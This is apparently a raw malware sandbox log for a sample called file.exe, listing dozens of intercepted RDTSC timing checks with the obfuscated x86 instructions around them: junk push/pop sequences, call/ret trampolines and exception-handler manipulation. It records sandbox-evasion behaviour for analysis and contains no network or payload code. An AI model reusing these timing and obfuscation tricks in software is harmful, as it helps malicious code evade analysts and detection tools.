Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3628B6 second address: 3628D4 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F6B2C748066h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F6B2C748071h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 362A5F second address: 362A65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 362B4A second address: 362B62 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F6B2C74806Ch 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 362B62 second address: 362B66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 364DE6 second address: 364DEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 364554 second address: 36455A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 36455A second address: 36455E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 365917 second address: 36591C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3664C5 second address: 3664E4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F6B2C74806Fh 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jng 00007F6B2C74806Eh 0x00000012 push ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3661D1 second address: 3661D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3661D5 second address: 3661DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 367022 second address: 367026 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 367ADE second address: 367AE3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 367863 second address: 36786A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 368585 second address: 3685D7 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F6B2C748073h 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c or si, CAF1h 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push esi 0x00000016 call 00007F6B2C748068h 0x0000001b pop esi 0x0000001c mov dword ptr [esp+04h], esi 0x00000020 add dword ptr [esp+04h], 00000014h 0x00000028 inc esi 0x00000029 push esi 0x0000002a ret 0x0000002b pop esi 0x0000002c ret 0x0000002d mov si, cx 0x00000030 push 00000000h 0x00000032 push ebx 0x00000033 pop esi 0x00000034 movzx esi, dx 0x00000037 push eax 0x00000038 jc 00007F6B2C748070h 0x0000003e push eax 0x0000003f push edx 0x00000040 push edi 0x00000041 pop edi 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 36DD8D second address: 36DDB3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B2CB5B2CAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F6B2CB5B2D4h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 36DDB3 second address: 36DDBD instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3702C3 second address: 3702E8 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F6B2CB5B2D2h 0x00000008 jmp 00007F6B2CB5B2CCh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 jng 00007F6B2CB5B2EBh 0x00000016 push eax 0x00000017 push edx 0x00000018 js 00007F6B2CB5B2C6h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 36F4A0 second address: 36F4BA instructions: 0x00000000 rdtsc 0x00000002 jo 00007F6B2C74806Ch 0x00000008 jns 00007F6B2C748066h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 jnc 00007F6B2C748066h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3711D7 second address: 3711DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 37040C second address: 370412 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3711DD second address: 3711E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 370412 second address: 370416 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 370416 second address: 3704AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F6B2CB5B2D0h 0x0000000e nop 0x0000000f push 00000000h 0x00000011 push edx 0x00000012 call 00007F6B2CB5B2C8h 0x00000017 pop edx 0x00000018 mov dword ptr [esp+04h], edx 0x0000001c add dword ptr [esp+04h], 00000018h 0x00000024 inc edx 0x00000025 push edx 0x00000026 ret 0x00000027 pop edx 0x00000028 ret 0x00000029 add dword ptr [ebp+1246F9BFh], ecx 0x0000002f push dword ptr fs:[00000000h] 0x00000036 xor di, 06F2h 0x0000003b mov dword ptr fs:[00000000h], esp 0x00000042 push 00000000h 0x00000044 push eax 0x00000045 call 00007F6B2CB5B2C8h 0x0000004a pop eax 0x0000004b mov dword ptr [esp+04h], eax 0x0000004f add dword ptr [esp+04h], 0000001Ch 0x00000057 inc eax 0x00000058 push eax 0x00000059 ret 0x0000005a pop eax 0x0000005b ret 0x0000005c mov eax, dword ptr [ebp+122D00F5h] 0x00000062 mov ebx, dword ptr [ebp+122D38C8h] 0x00000068 js 00007F6B2CB5B2C8h 0x0000006e mov ebx, eax 0x00000070 push FFFFFFFFh 0x00000072 mov edi, ebx 0x00000074 nop 0x00000075 js 00007F6B2CB5B2D4h 0x0000007b pushad 0x0000007c push eax 0x0000007d push edx 0x0000007e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3704AF second address: 3704B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3722B6 second address: 3722C0 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F6B2CB5B2C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 373316 second address: 373323 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 je 00007F6B2C74806Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 373323 second address: 373399 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 push 00000000h 0x00000008 push ebp 0x00000009 call 00007F6B2CB5B2C8h 0x0000000e pop ebp 0x0000000f mov dword ptr [esp+04h], ebp 0x00000013 add dword ptr [esp+04h], 00000019h 0x0000001b inc ebp 0x0000001c push ebp 0x0000001d ret 0x0000001e pop ebp 0x0000001f ret 0x00000020 push 00000000h 0x00000022 call 00007F6B2CB5B2D2h 0x00000027 and ebx, dword ptr [ebp+122D3AF4h] 0x0000002d pop edi 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 push eax 0x00000033 call 00007F6B2CB5B2C8h 0x00000038 pop eax 0x00000039 mov dword ptr [esp+04h], eax 0x0000003d add dword ptr [esp+04h], 00000015h 0x00000045 inc eax 0x00000046 push eax 0x00000047 ret 0x00000048 pop eax 0x00000049 ret 0x0000004a adc edi, 11CDA96Bh 0x00000050 xchg eax, esi 0x00000051 jng 00007F6B2CB5B2D2h 0x00000057 jc 00007F6B2CB5B2CCh 0x0000005d push eax 0x0000005e push edx 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 37534B second address: 375355 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F6B2C74806Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3762C7 second address: 3762CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3762CF second address: 3762DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3754F1 second address: 3754F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3754F7 second address: 375502 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 375502 second address: 37550B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 37550B second address: 37550F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3771D8 second address: 377256 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push ebx 0x0000000c call 00007F6B2CB5B2C8h 0x00000011 pop ebx 0x00000012 mov dword ptr [esp+04h], ebx 0x00000016 add dword ptr [esp+04h], 00000016h 0x0000001e inc ebx 0x0000001f push ebx 0x00000020 ret 0x00000021 pop ebx 0x00000022 ret 0x00000023 adc edi, 32E3DF66h 0x00000029 mov dword ptr [ebp+124819B6h], esi 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push eax 0x00000034 call 00007F6B2CB5B2C8h 0x00000039 pop eax 0x0000003a mov dword ptr [esp+04h], eax 0x0000003e add dword ptr [esp+04h], 0000001Dh 0x00000046 inc eax 0x00000047 push eax 0x00000048 ret 0x00000049 pop eax 0x0000004a ret 0x0000004b mov dword ptr [ebp+124716ADh], esi 0x00000051 push 00000000h 0x00000053 mov ebx, esi 0x00000055 xchg eax, esi 0x00000056 jc 00007F6B2CB5B2D2h 0x0000005c ja 00007F6B2CB5B2CCh 0x00000062 push eax 0x00000063 push eax 0x00000064 push edx 0x00000065 push esi 0x00000066 push ebx 0x00000067 pop ebx 0x00000068 pop esi 0x00000069 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3781AF second address: 3781CC instructions: 0x00000000 rdtsc 0x00000002 ja 00007F6B2C748068h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F6B2C74806Eh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 377360 second address: 37736A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F6B2CB5B2C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 37736A second address: 377389 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jng 00007F6B2C74807Bh 0x0000000f pushad 0x00000010 jmp 00007F6B2C74806Dh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 37A233 second address: 37A247 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B2CB5B2CDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 37A247 second address: 37A274 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F6B2C748066h 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d pushad 0x0000000e pushad 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 jmp 00007F6B2C748077h 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 push edi 0x0000001a pop edi 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 37B259 second address: 37B25F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 37B25F second address: 37B2D3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push edx 0x0000000e call 00007F6B2C748068h 0x00000013 pop edx 0x00000014 mov dword ptr [esp+04h], edx 0x00000018 add dword ptr [esp+04h], 00000019h 0x00000020 inc edx 0x00000021 push edx 0x00000022 ret 0x00000023 pop edx 0x00000024 ret 0x00000025 or dword ptr [ebp+122D2F37h], ecx 0x0000002b push 00000000h 0x0000002d push 00000000h 0x0000002f push esi 0x00000030 call 00007F6B2C748068h 0x00000035 pop esi 0x00000036 mov dword ptr [esp+04h], esi 0x0000003a add dword ptr [esp+04h], 00000017h 0x00000042 inc esi 0x00000043 push esi 0x00000044 ret 0x00000045 pop esi 0x00000046 ret 0x00000047 sbb edi, 3527AC06h 0x0000004d pushad 0x0000004e mov dword ptr [ebp+122D2BC8h], edx 0x00000054 stc 0x00000055 popad 0x00000056 push 00000000h 0x00000058 and di, BF9Eh 0x0000005d xchg eax, esi 0x0000005e push eax 0x0000005f push edx 0x00000060 jnl 00007F6B2C748068h 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 37C266 second address: 37C27D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B2CB5B2D3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 37C27D second address: 37C2B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F6B2C748066h 0x00000009 jmp 00007F6B2C748073h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 pushad 0x00000013 push edi 0x00000014 jmp 00007F6B2C748070h 0x00000019 pop edi 0x0000001a push eax 0x0000001b push edx 0x0000001c push edx 0x0000001d pop edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 37B4AF second address: 37B4C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B2CB5B2D3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 37D1CA second address: 37D1CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 37C35D second address: 37C416 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B2CB5B2D2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F6B2CB5B2D3h 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push ebp 0x00000013 call 00007F6B2CB5B2C8h 0x00000018 pop ebp 0x00000019 mov dword ptr [esp+04h], ebp 0x0000001d add dword ptr [esp+04h], 0000001Bh 0x00000025 inc ebp 0x00000026 push ebp 0x00000027 ret 0x00000028 pop ebp 0x00000029 ret 0x0000002a mov bl, dl 0x0000002c push dword ptr fs:[00000000h] 0x00000033 pushad 0x00000034 adc bl, FFFFFFA8h 0x00000037 mov eax, dword ptr [ebp+122D39B0h] 0x0000003d popad 0x0000003e mov dword ptr fs:[00000000h], esp 0x00000045 push 00000000h 0x00000047 push ebp 0x00000048 call 00007F6B2CB5B2C8h 0x0000004d pop ebp 0x0000004e mov dword ptr [esp+04h], ebp 0x00000052 add dword ptr [esp+04h], 00000018h 0x0000005a inc ebp 0x0000005b push ebp 0x0000005c ret 0x0000005d pop ebp 0x0000005e ret 0x0000005f jnl 00007F6B2CB5B2CCh 0x00000065 mov eax, dword ptr [ebp+122D1495h] 0x0000006b clc 0x0000006c sub dword ptr [ebp+124469E3h], eax 0x00000072 push FFFFFFFFh 0x00000074 mov ebx, 446BBBB4h 0x00000079 nop 0x0000007a push eax 0x0000007b push edx 0x0000007c jmp 00007F6B2CB5B2CDh 0x00000081 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3205B4 second address: 3205B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3205B8 second address: 3205C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F6B2CB5B2CBh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3205C9 second address: 3205E3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6B2C748075h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 383FF2 second address: 383FF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 383FF8 second address: 384002 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F6B2C748066h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 384002 second address: 38400B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 38400B second address: 384011 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3842D7 second address: 3842DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3842DD second address: 3842E7 instructions: 0x00000000 rdtsc 0x00000002 js 00007F6B2C748066h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3842E7 second address: 384308 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F6B2CB5B2CCh 0x00000008 pushad 0x00000009 jmp 00007F6B2CB5B2D0h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 38444C second address: 384450 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 384450 second address: 384456 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 384456 second address: 3844AE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6B2C748076h 0x00000008 jl 00007F6B2C748066h 0x0000000e push esi 0x0000000f pop esi 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushad 0x00000014 jnl 00007F6B2C74807Fh 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F6B2C74806Ch 0x00000021 jnp 00007F6B2C748066h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3844AE second address: 3844C7 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jne 00007F6B2CB5B2C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jo 00007F6B2CB5B2C6h 0x00000015 pop edx 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 389D26 second address: 389D37 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B2C74806Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 389E27 second address: 389E31 instructions: 0x00000000 rdtsc 0x00000002 js 00007F6B2CB5B2CCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3910F0 second address: 3910F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3910F4 second address: 3910FC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3910FC second address: 391107 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007F6B2C748066h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 38FE49 second address: 38FE4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 390473 second address: 390479 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3905BA second address: 3905C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 jg 00007F6B2CB5B2C6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3908C9 second address: 3908D1 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3908D1 second address: 3908D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3908D6 second address: 3908DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3908DC second address: 3908EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F6B2CB5B2CBh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 390E3C second address: 390E42 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 390E42 second address: 390E46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 393DAD second address: 393DC4 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F6B2C748066h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c popad 0x0000000d jns 00007F6B2C748066h 0x00000013 pop eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 393DC4 second address: 393DD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 popad 0x00000008 pushad 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 31E9EF second address: 31E9F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 34B9F7 second address: 34BA08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6B2CB5B2CDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3698DE second address: 3698E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 369D33 second address: 369D39 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 369D39 second address: 369D3D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
